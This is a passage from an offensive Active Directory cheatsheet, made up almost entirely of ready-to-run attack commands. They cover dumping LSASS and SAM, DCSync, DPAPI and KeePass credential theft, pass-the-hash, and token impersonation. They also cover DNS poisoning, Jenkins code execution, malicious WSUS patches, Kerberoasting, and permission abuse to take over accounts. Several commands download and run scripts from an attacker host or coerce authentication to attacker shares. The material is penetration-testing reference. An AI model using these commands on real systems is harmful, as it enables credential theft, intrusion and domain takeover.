procdump.exe -accepteula -ma <lsass_PID> lsass.dmp

#Dump SAM and LSA
reg save HKLM\SAM "C:\Windows\Temp\sam.save"
reg save HKLM\SECURITY "C:\Windows\Temp\security.save"
reg save HKLM\SYSTEM "C:\Windows\Temp\system.save"

Invoke-Mimikatz -Command '"lsadump::sam"'
Invoke-Mimikatz -Command '"lsadump::secrets"'

#Dump LSA in a PDF with LSA_reg2pdf
#Exec get_pdf, and get_bootkey on your host to parse the PDF
.\get_pdf.exe 1
python3.exe get_bootkey.py

#Dump credentials on multiple remote machines
Invoke-Mimikatz -DumpCreds -ComputerName @("Server01","Server02")

#Make a DCSync attack on all the users
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all"'

#Retrieve NT hashes via Key List Attack on a RODC
    #First, forge a RODC Golden Ticket
.\Rubeus.exe golden /rodcNumber:<krbtgt_number> /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:<krbtgt_aes_key> /user:user1 /id:<user_RID> /domain:domain.local /sid:<domain_SID>
    #Then, request a ST and retrieve the NT hash in the TGS-REP
.\Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local 

#Certsync - retrieve the NT hashes of all the users with PKINIT
#Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users
#Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP>
    #Provide the CA .pfx if it has been obtained with another way
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP> -ca-pfx CA.pfx
```

Many techniques to dump LSASS : [https://redteamrecipe.com/50-Methods-For-Dump-LSASS/](https://redteamrecipe.com/50-Methods-For-Dump-LSASS/)

#### Credentials Vault & DPAPI

Credential manager blobs are stored in `C:\Users\<user>\AppData\Local\Microsoft\Credentials`

List with Mimikatz:

```powershell
Invoke-Mimikatz -Command '"vault::list"'
```

To decrypt the creds, the DPAPI master encryption key must be retrieved. The key GUID can be retrieved with Mimikatz (the filed `guidMasterKey` is the one):

```powershell
Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob>"'
```

The GUID can be used to retrieve the key on the DC via a RPC call by providing the full path:

```powershell
Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<user_SID>\<key_GUID> /rpc"'
```

Now it possible to decipher the creds with the key:

```powershell
Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob> /masterkey:<key>"'
```

[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) is also a pretty good tool for DPAPI operations. Here in an elevated context to decrypt machine credential files and vaults:

```powershell
.\SharpDPAPI.exe machinecredentials
.\SharpDPAPI.exe machinevaults
```

Or here, to decrypt user's master keys with a domain backup key, and use them to decipher credential files:

```powershell
.\SharpDPAPI.exe masterkeys /pvk:key.pvk
.\SharpDPAPI.exe credentials {<masterkey_GUID>}:<masterkey_hash> {<masterkey2_GUID>}:<masterkey2_hash>
```

#### Lazagne

To retrieve maximum creds.

```batch
./lazagne.exe all
```

#### Credentials in third party softwares

Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on.

The more complete **ThievingFox** approach is presented in the Active Directory - Python edition cheatsheet.

```powershell
#KeePass with KeeThief
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

#RDP creds with Mimikatz
#Client side
Invoke-Mimikatz -Command '"ts::mstsc"'
#Server side
Invoke-Mimikatz -Command '"ts::logonpasswords"'

#Credentials in Veeam database
./SharpVeeamDecryptor.exe
```

#### Force a NTLM authentication from a connected user

This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains [here](https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions).

* Add _Interactive User_ to the AppID of the DCOM object with Remote Registry
* Start the WebClient service, or change the `HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel` registry key to allow NTLMv1

```powershell
#With ServerDataCollectorSet
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("03837546-098B-11D8-9414-505054503030", "<target_IP>"))
$a.DataManager.Extract("\\<attacker_IP>\share\test.txt", "xforcered")

#With FileSystemImage
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("2C941FC5-975B-59BE-A960-9A2A262853A5", "<target_IP>"))
$a.WorkingDirectory = "\\<attacker_IP>\share\test.txt"

#With UpdateSession, this one only trigger the machine account authentication
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("4CB43D7F-7EEE-4906-8698-60DA1C38F2FE"))
$a.CreateUpdateServiceManager().AddScanPackageService("XFORCERED","\\<attacker_IP>\share\test.txt")
```

#### Bypass RunAsPPL

Check if RunAsPPL is enabled in the registry.

Look at `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`

```batch
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```

If Mimikatz can't be used, [PPLKiller](https://github.com/RedCursorSecurityConsulting/PPLKiller) is an alternative

```powershell
./PPLKiller.exe /installDriver
./PPLKiller.exe /disableLSAProtection
./PPLKiller.exe /uninstallDriver
```

And more recently, [PPLmedic](https://github.com/itm4n/PPLmedic)

```powershell
./PPLmedic.exe dump <lsass_PID> <C:\path\to\dump.dmp>
```

### Pass the Challenge

This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This[ modified version of Pypykatz](https://github.com/ly4k/Pypykatz) must be used to parse the LDAP dump. Full explains [here](https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22).

#### NTLMv1

```powershell
#Dump the LSASS process with Mimikatz for example
#Parse the dump with Pypykatz
python3 -m pypykatz lsa minidump lsass.DMP -p msv

#Inject the SecurityPackage.dll into the LSASS process
./PassTheChallenge.exe inject ./SecurityPackage.dll

#Retrieve the NTLMv1 hash
./PassTheChallenge.exe nthash <context handle>:<proxy info> <encrypted blob>

#Crack the NTLMv1 hash on crack.sh to retrieve the NT hash
```

#### NTLMv2

In case where only NTLMv2 is allowed, it will not be possible to crack the NTLM hash, but it is possible to pass the challenge and provide the response. It is possible to perform this attack with this modified version of [Impacket](https://github.com/ly4k/Impacket). First, as above:

```powershell
#Dump the LSASS process with Mimikatz for example
#Parse the dump with Pypykatz
python3 -m pypykatz lsa minidump lsass.DMP -p msv

#Inject the SecurityPackage.dll into the LSASS process
./PassTheChallenge.exe inject ./SecurityPackage.dll
```

Then, authenticate with an Impacket tool specifying `CHALLENGE` as password, provide the printed challenge to `PassTheChallenge`, and send the computed response to Impacket:

```bash
#Authenticate with CHALLENGE as password
psexec.py 'domain.local/user1:CHALLENGE@target.domain.local'

#Copy paste the challenge to PassTheChallenge.exe and retrieve the response
./PassTheChallenge.exe challenge <context handle>:<proxy info> <encrypted blob> <challenge>

#Paste the response to the Impacket prompt (possible that multiple response are needed)
```

### Pass The Hash

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<nthash> /run:powershell.exe"'
```

### Over Pass The Hash / Pass The Key

Generate Kerberos TGT from hashes (or AES keys)

```powershell
#With Mimikat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /rc4:<nthash> /run:powershell.exe"'
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /aes256:<aes_key> /run:powershell.exe"'

#With Rubeus
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /rc4:<nthash> /ptt /opsec
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /aes256:<aes_key> /ptt /opsec
```

#### Bypass Kerberos Double Hop

By default, Kerberos **doesn't** permise to run a PSSession into a PSSession (or Invoke-Command into a PSSession, or whatever)

This can be bypassed with Mimikatz, by running a reverse shell in a **Over-Pass-the-Hash** from a PSSession

```powershell
$Contents = "powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://<attacker_IP>/Invoke-HelloWorld.ps1'))"
Out-File -Encoding Ascii -InputObject $Contents -FilePath ./reverse.bat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:domain.local /ntlm:<nthash> /run:.\reverse.bat"'
```

In the new shell it is **not** possible to run an **Enter-PSSession**, but it is possible to create a **New-PSSession** and run **Invoke-Command** into this new session

```powershell
$sess = New-PSSession <target>
Invoke-Command -ScriptBlock{whoami;hostname} -Session $sess

Invoke-Command -ScriptBlock{mkdir /tmp; iwr http://<attacker_IP>/Invoke-HelloWorld.ps1 -o /tmp/Invoke-HelloWorld.ps1; . \tmp\Invoke-HelloWorld.ps1} -Session $sess
```

### Token manipulation

#### Standard token impersonation

* It is possible to use/impersonate tokens available on a machine
* We can use `Invoke-TokenManipulation` from PowerSploit or Incognito (Meterpreter) for token impersonation
* Administrative privileges are required to adjust token privileges
* List all tokens

```powershell
#List all tokens on the machine
Invoke-TokenManipulation -ShowAll

#List all unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate
```

* Start a new process with a specific token

```powershell
#Token of a user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user1"

#Token of a process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500
```

#### Token impersonation with command execution and user addition

[Blog here](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/).

* List available tokens, and find an interesting token ID

```powershell
./Impersonate.exe list
```

* With only **SeImpersonatePrivilege**, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default):

```powershell
./Impersonate.exe adduser <token_id> user1 Password123 <group_to_add_to> \\dc.domain.local
```

* With **SeImpersonatePrivilege and SeAssignPrimaryToken**, if a privileged user's token is presents on the machine, it is possible to execute comands on the machine as him:

```powershell
./Impersonate.exe exec <token_id> <command>
```

The same tool exists in Rust (not totally the same, the logic is a little bit different, looks at the [README](https://github.com/zblurx/impersonate-rs))

```powershell
#List all the process and their token
./irs.exe list

#Execute a command with the token from a process
./irs.exe exec --pid <PID> --command <command>
```

#### Token impersonation via session leaking

[Blog here](https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6). Basically, as long as a token is linked to a logon session (the **ReferenceCount != 0**), the logon session can't be closed, even if the user has logged off.\
`AcquireCredentialsHandle()` is used with a session LUID to increase the _ReferenceCount_ and block the session release. Then `InitializeSecurityContext()` and `AcceptSecurityContext()` are used to negotiate a new security context, and `QuerySecurityContextToken()` get an usable token.

* Server part

```powershell
#List logon session
Koh.exe list

#Monitor logon session with SID filtering
Koh.exe monitor <SID>

#Capture one token per SID found in new logon sessions
Koh.exe capture
```

* Client part (only available as Cobalt Strike BOF for the moment)

```powershell
#List captured tokens
koh list

#List group SIDs for a captured token
koh groups <LUID>

#Impersonate a captured token by specifying the session LUID
koh impersonate <LUID>

#Release all captured tokens
koh release all 
```

#### Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

```powershell
.\Masky.exe /ca:<CA_server_FQDN\CA_name> /template:<template_name> /output:./output.txt
```

### ADIDNS poisoning

How to deal with the **Active Directory Integrated DNS** and redirect the NTLM authentications to us

* By default, any user can create new ADIDNS records
* But it is not possible to change or delete a record we are not owning
* By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc

If the **wilcard record** (\*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

#### Wildcard attack with Powermad

The char `*` can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what **Powermad** do:

```powershell
# get the value populated in the DNSRecord attribute of a node
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec

# creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes
New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP

# enable a tombstoned record
Enable-ADIDNSNode -Node *

# disable a node
Disable-ADIDNSNode -Node *

# remove a node
Remove-ADIDNSNode -Node *

# check the wildcard record works/resolve a name
Resolve-DnsName NameThatDoesntExist
```

#### DNS update with Invoke-DNSUpdate

To work with "classic" record, i.e. not wildcard record

```powershell
Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local
```

### Feature abuse

#### Jenkins

Go to `http://<IP>/script`

```groovy
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

Without admin access : add a build step in the build configuration, add `"Execute Windows Batch Command"` and `powershell –c <command>`

```bash
powershell -c "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')"

#For more hardened policy
#On Kali
    echo "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
#In Jenkins
    cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <base64_command>
```

#### SCCM / MECM - PXE boot

Check the dedicated [page](https://hideandsec.sh/books/cheatsheets-82c/page/system-center-configuration-manager).

#### WSUS

* Push an evil update on the computers : [SharpWSUS explains](https://labs.nettitude.com/blog/introducing-sharpwsus/)

```powershell
#Locate the WSUS server
./SharpWSUS locate

#Find a way to compromise it
#Enumerate the contents of the WSUS server to determine which machines to target
./SharpWSUS.exe inspect

#Create a malicious patch with a Microsoft signed binary (mandatory)
./SharpWSUS.exe create /payload:"C:\tmp\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS"

#Create a WSUS group, add the target machine to the WSUS group and approve the malicious patch for deployment
./SharpWSUS.exe approve /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"

#Wait for the client to download the patch, not possible to control
./SharpWSUS.exe check /updateid:<GUID_from_create> /computername:<target>

#Clean up after the patch is downloaded.
./SharpWSUS.exe delete /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"
```

* [Spoof the WSUS server and hijack the update](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wsus-spoofing) if the updates are pushed through HTTP and not HTTPS

```powershell
#Find the WSUS server with the REG key
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'
```

And ARP spoofing with bettercap and a `wsus_spoofing.cap` like this:

```go
# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on
```

```bash
bettercap --iface <network_interface> --caplet wsus_spoofing.cap
```

Now wait for update verification or manually trigger with a GUI access on the machine.

Another attack presented in the AD-CS cheatsheet permits to perform an ESC8 from a WSUS poisoning.

#### Pre-Windows 2000 Computers

Everything is explained [here](https://www.thehacker.recipes/ad/movement/domain-settings/pre-windows-2000-computers).

## Domain Privesc

### Kerberoast

#### Find users with SPN

```powershell
#PowerView
Get-NetUser -SPN

#ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

#### Request ST

```powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN/<target>.domain.local"
```

Or `Request-SPNTicket` with PowerView

#### Export the ticket

```powershell
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

#### Crack the ticket

Many options but this one works (also john, hashcat, etc...)

```batch
python.exe .\tgsrepcrack.py .\wordlist.txt .\ticket.kirbi
```

#### Rubeus

Rubeus can be used to perform all the attack, with more or less opsec

```powershell
#Kerberoast all the kerberoastable accounts
.\Rubeus.exe kerberoast

#Kerberoast a specified account
.\Rubeus.exe kerberoast /user:<target> /outfile:ticket.kirbi

#Kerberoast with RC4 downgrade even if the targets are AES enabled
#Tickets are easier to crack
.\Rubeus.exe kerberoast /tgtdeleg

#Kerberoast with opsec tgtdeleg trick filtering AES accounts
.\Rubeus.exe kerberoast /rc4opsec
```

### Kerberoast with DES

DES can be enabled in the following GPO `Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security` on the Domain Controller, on in the following registry key : `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes`. DES can be use to takeover any account except `krbtgt` and trust accounts. Full explains [here](https://exploit.ph/des-is-useful.html).

* Check if DES is enabled

```powershell
./Rubeus.exe asktgt /user:user1 /password:Password123 /domain:domain.local /dc:dc.domain.local /suppenctype:des /nowrap

#To check in the UAC of an account
Get-DomainUser user1 -Domain domain.local -Server dc.domain.local | select useraccountcontrol,serviceprincipalname
```

* Request a ST for the target SPN

```powershell
./Rubeus.exe asktgs /ticket:TGT.kirbi /service:<target_SPN> /enctype:des /dc:dc.domain.local /nowrap
```

* Perform a U2U request. The goal is to obtain a ticket for the user than can be decrypted to read the first block of plain text. This block will be used after to form a crackable hash. Retrieve the value of "Block One Plain Text" in the output

```powershell
./Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /nowrap
```

* Then, reuse this value in the `/desplaintext` parameter with the `describe` command

```powershell
./Rubeus.exe describe /desplaintext:<plain_text> /ticket:<previous_ST>
```

The `Kerberoast Hash` value in the output can be used with hashcat:

```bash
hashcat -a 3 -m 14000 <kerberoast_hash> -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1
```

The obtained DES key can now be used to ask for a TGT for the target account.

To exploit this against a Domain Controller, the DC account UAC must be changed from `SERVER_TRUST_ACCOUNT` (8192) needs to be changed to `WORKSTATION_TRUST_ACCOUNT` (4096) (Owner or Write access against the DC account are needed). **This attack can be destructive. It is not recommanded to perform it in production**. Additionally, DES must be activated in the UAC.

```powershell
Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288}
Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=2097152}
```

Then, the attack can be performed as presented above. To rollback to `SERVER_TRUST_ACCOUNT` an admin account is needed. First escalate to DA, then:

```powershell
Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288}
```

### Kerberoast w/o creds

#### Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an **AS-REQ request** (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the **sname** attribut in the **req-body** part of the request. Full explains [here](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

```powershell
.\Rubeus.exe kerberoast /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"user_w/o_preauth" /spn:users.txt
```

#### With MitM

If no principal without pre-authentication are present, it is still possible to intercept the **AS-REQ requests** on the wire (with ARP spoofing for example), and replay them to kerberoast.

**WARNING : `RoastInTheMiddle.exe` is only a PoC for the moment, be carefull with it in prod environment !**

```powershell
./RoastInTheMiddle.exe /listenip:<attacker_IP> /spns:users.txt /targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2>
```

#### Combined with DES

Here are the steps to follow to perform the attack, as described by [Charlie Clark](https://twitter.com/exploitph).

1. Request a valid TGT for User1.
2. Send U2U with User1’s TGT as both authentication and additional tickets to extract known plain text of first block.
3. Man-in-the-Middle (MitM) is performed.
4. AS-REQ for Computer1 is captured.
5. AS-REQ modified to only include the DES-CBC-MD5 etype.
6. Forward AS-REQ to a DC that supports DES.
7. Extract TGT for Computer1 from AS-REP.
8. Send U2U with User1’s TGT as the authentication ticket and Computer1’s TGT as the additional ticket to get an ST encrypted with Computer1’s TGT’s session key.
9. Create a DES hash from U2U ST encrypted with Computer1’s TGT’s session key.
10. Create KERB\_CRED from Computer1’s TGT and known information, missing the session key.
11. Crack the DES hash back to the TGT session key.
12. Insert the TGT session key into the KERB\_CRED.
13. Use the TGT to authenticate as Computer1.

**For the moment, this version of RoastIntheMiddle doesn't seem available.**

```powershell
./RoastInTheMiddle.exe sessionroast /listenip:<attacker_IP> /targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2> /tgt:<TGT_of_known_user>
```

The "Hash DES session key" can be cracked with hashcat:

```bash
hashcat -a 3 -m 14000 <DES_hash> -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1
```

And the crack result (which is the DES session key) with the "Kirbi missing session key" can be combined to build a valid TGT:

```powershell
./Rubeus.exe kirbi /sessionkey:<cracked_session_key> /sessionetype:des /kirbi:<kirbi_w/o_session_key> /nowrap
```

### AS-REP Roasting

#### Enumerate users

```powershell
#UPowerView:
Get-DomainUser -PreauthNotRequired -Verbose

#AD module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

#### Request AS-REP hash

```powershell
.\Rubeus.exe asreproast /user:<target> /domain:domain.local /format:hashcat

#To enumerate AS-REP roastable users through LDAP
.\Rubeus.exe asreproast /creduser:"domain.local\user1" /credpassword:"password" /domain:domain.local /format:hashcat
```

It is possible to force DES, if it is allowed:

```powershell
.\Rubeus.exe asreproast /user:<target> /domain:domain.local /des /format:hashcat
```

#### Disable Kerberos Preauth

With PowerView, with enough privileges it is possible to perform targeted AS-REP roasting.

```powershell
Set-DomainObject -Identity user1 -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser -PreauthNotRequired -Verbose
```

#### Crack the hash

With **john** or **hashcat** it could be performed.

In case of DES hash, here is the command:

```bash
hashcat -a 3 -m 14000 <DES_hash> -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1
```

### Hijacking GPP Name-Only

#### sAMAccountName hijacking

The theory behind this attack is explained in [this article.](https://www.cogiceo.com/en/whitepaper_gpphijacking/)

1. Initial configuration:&#x20;
   1. A user `priv_usr` has `GenericWrite` rights over another user `low_priv`.
   2. A GPP is configured to add a "Name-Only" member named `nonexistentuser` to the local `Administrators` group.
2. First GPO application:
   1. The system try to resolve `nonexistentuser`, but fails (the user doesn't exist).
   2. No member is added to `Administrators`.
3. `sAMAccountName` modification:
   1. The attacker uses their `GenericWrite` rights to change the `sAMAccountName` from `low_priv` to `nonexistentuser`.

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "nonexistentuser"
```

4. GPO replication:
   1. The next time the GPO is applied (or via a manual command such as `gpupdate /force`), the system resolves `nonexistentuser` to the SID of `low_priv.`
   2. Result: `low_priv` is added to the `Administrators` group.

#### UPN hijacking

1. Initial configuration:&#x20;
   1. A GPP is configured to add a "Name-Only" member in UPN format: `existingusr@domain.local`.
   2. A user named `existingusr` already exists in the domain with this UPN.
2. `sAMAccountName` modification:
   1. The attacker changes the `sAMAccountName` of `low_priv` to match the UPN exactly: `existingusr@domain.local`(this format is permitted for a UPN).

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "existingusr@domain.local"
```

3. GPO replication:
   1. During resolution, **`LsaLookupNames` first searches for an exact match in the `sAMAccountName` field, before the UPN**.
   2. Result: `low_priv` is added to the `Administrators` group instead of `existingusr`.

#### GPP processus variables

1. A GPP is linked to an OU containing the WS computer and adds `%DomainName%\%ComputerName%_adm` (i.e. `DOMAIN\WS_adm`) to the `Administrators` group.
2. The attacker checks that `WS_adm` does not exist:

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password get object "WS_adm"
```

3. The attacker changes the `sAMAccountName` of `low_priv` to match `WS_adm`:

```bash
bloodyAD --host <DC_IP> -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "WS_adm"
```

4. Result: The next time GPP is applied, `low_priv` is added to the `Administrators` group on the WS machine.

### DACLs attacks

#### DACLs packages

* **Owns object**
  * WriteDacl
* **GenericAll**
  * GenericWrite
  * AllExtendedRights
  * WriteOwner
* **GenericWrite**
  * Self
  * WriteProperty
* **AllExtendedRights**
  * User-Force-Change-Password
  * DS-Replication-Get-Changes
  * DS-Replication-Get-Changes-All
  * DS-Replication-Get-Changes-In-Filtered-Set

#### On any objects

##### WriteOwner
With this rights on a user it is possible to become the "owner" (**Grant Ownership**) of the account and then change our ACLs against it

```powershell
Set-DomainObjectOwner -Identity <target> -OwnerIdentity user1 -verbose
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights ResetPassword

#And change the password
$cred = ConvertTo-SecureString "Password123!" -AsPlainText -force                  
Set-DomainUserPassword -Identity <target> -accountpassword $cred
```

##### WriteDacl
With this rights we can modify our ACLs against the target, and give us **GenericAll** for example

```powershell
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights All
```

In case where you have the right against a container or an OU, it is possible to setup the **Inheritance** flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has `AdminCount=1`)

```powershell
$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity user1 -Right ExtendedRight,ReadProperty,GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid
$OU = Get-DomainOU -Raw <OU_name>

$dsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
```

#### On an user

##### WriteProperty
* ShadowCredentials

```powershell
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:"Password123!"
```

* Logon Script

```powershell
#PowerView
Set-DomainObject <target> -Set @{'mstsinitialprogram'='\\ATTACKER_IP\rev.exe'} -Verbose

#AD module
Set-ADObject -SamAccountName '<target>' -PropertyName scriptpath -PropertyValue "\\ATTACKER_IP\rev.exe"
```

* Targeted Kerberoasting

We can then request a ST without special privileges. The ST can then be "**Kerberoasted**".

```powershell
#Verify if the user already has a SPN
Get-DomainUser -Identity <target> | select serviceprincipalname
    #Using ActiveDirectory module
Get-ADUser -Identity <target> -Properties ServicePrincipalName | select ServicePrincipalName
```

**New SPN must be unique in the domain**

```powershell
#Set the SPN
Set-DomainObject -Identity user -Set @{serviceprincipalname='ops/whatever1'}
    #Using ActiveDirectory module
Set-ADUser -Identity user -ServicePrincipalNames @{Add='ops/whatever1'} 

#Request the ticket
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
    #From PowerView
Request-SPNTicket
```

##### User-Force-Change-Password
With enough permissions on a user, we can change his password

```powershell
net user <target> Password123! /domain

#With PowerView
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("domain\user1", $pass)
Set-DomainUserPassword "<target>" -AccountPassword $UserPassword -Credential $cred
```

#### On a computer

##### WriteProperty
* ShadowCredentials

```powershell
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:Password123!
```

* Kerberos RBCD

##### AllExtendedRights
* ReadLAPSPassword

```powershell
# With PowerView
Get-DomainComputer <target>.domain.local -Properties ms-mcs-AdmPwd,displayname,ms-mcs-AdmPwdExpirationTime
```

* ReadGMSAPassword

```powershell
./GMSAPasswordReader.exe --accountname gmsaAccount
```
#### On a RODC

##### GenericWrite
* Obtain local admin access

Change the `managedBy` attribute value and add a controlled user. He will automatically gain admin rights.

* Retrieve Tiers 0 account's NT hashes

It is possible to modify the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

```powershell
#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'
```

##### WriteProperty
**WriteProperty** on the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists is sufficient to modify them. Obtain the `krbtgt_XXXXX` key is still needed to forge RODC Golden Ticket.

```powershell
#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
